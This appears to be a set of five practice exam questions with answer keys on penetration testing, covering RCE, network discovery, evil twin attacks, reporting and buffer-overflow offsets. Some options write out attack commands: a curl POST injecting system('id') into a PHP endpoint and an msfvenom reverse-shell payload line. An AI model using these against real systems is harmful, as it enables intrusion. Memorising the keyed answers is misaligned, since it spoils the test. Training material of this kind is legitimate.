Question 1

What command would you use to exploit an RCE vulnerability by executing a system shell from a vulnerable PHP web application?

Options :

A : curl -X POST -d "cmd=system('id');" http://vulnerable-site.com/command.php

B : fetch --body-data "run=system('id');" http://vulnerable-site.com/command.php

C : wget --post-data "execute=system('id');" http://vulnerable-site.com/command.php

D : http -f POST http://vulnerable-site.com/command.php cmd="system('id')"

Answer: A

Question 2

A penetration tester is tasked with discovering devices and services on a corporate network using both active and passive methods. Which scenario is most likely to yield comprehensive results while minimizing disruption to network operations?

Options :

A : Utilizing SNMP enumeration to gather device information from publicly accessible SNMP agents, identifying hardware, software, and open services without triggering IDS or IPS alerts

B : Running a network mapping tool like ZMap in combination with Wireshark to capture active network communications, passively identifying devices and services without injecting traffic

C : combining passive traffic monitoring with active network scans to discover both active devices and services without causing significant disruptions to the network environment

D : Running a stealth scan with a reduced packet rate and randomized IP addresses to avoid detection while enumerating services across a large network range, minimizing the chance of triggering security devices

Answer: C

Question 3

What type of wireless attack involves an attacker setting up a rogue access point to intercept and manipulate network traffic?

Options :

A : Jamming

B : bluejacking

C : evil Twin Attack

D : Man-in-the-Middle (MITM)

Answer: C

Question 4

How should you describe a critical vulnerability found in a client's network infrastructure within the report to ensure proper attention?

Options :

A : emphasize the theoretical possibility of exploiting the vulnerability without real-world examples.

B : describe the vulnerability using technical jargon to ensure only knowledgeable personnel understand.

C : Highlight the speed and ease with which the vulnerability could be exploited without detailing its impact.

D : clearly state the vulnerability-s potential to allow unauthorized access and the impact of data breaches.

Answer: D

Question 5

What is the correct command to generate a pattern using Metasploit's pattern_create tool to identify buffer overflow offsets?

Options :

A : pattern_create -l 200 generates a unique 200-character string used to identify the exact offset in the buffer overflow.

B : pattern_offset -q EIP_VALUE -l 500 identifies the offset within a pattern of 500 bytes based on a crash result.

C : msfvenom -p windows/shell_reverse_tcp LHOST=[IP] LPORT=[port] -f c generates shellcode but doesn't help identify offsets.

D : gdb --args ./vulnerable_program $(python -c 'print "A" * 500') runs the vulnerable program under a debugger but does not directly calculate the offset.

Answer: A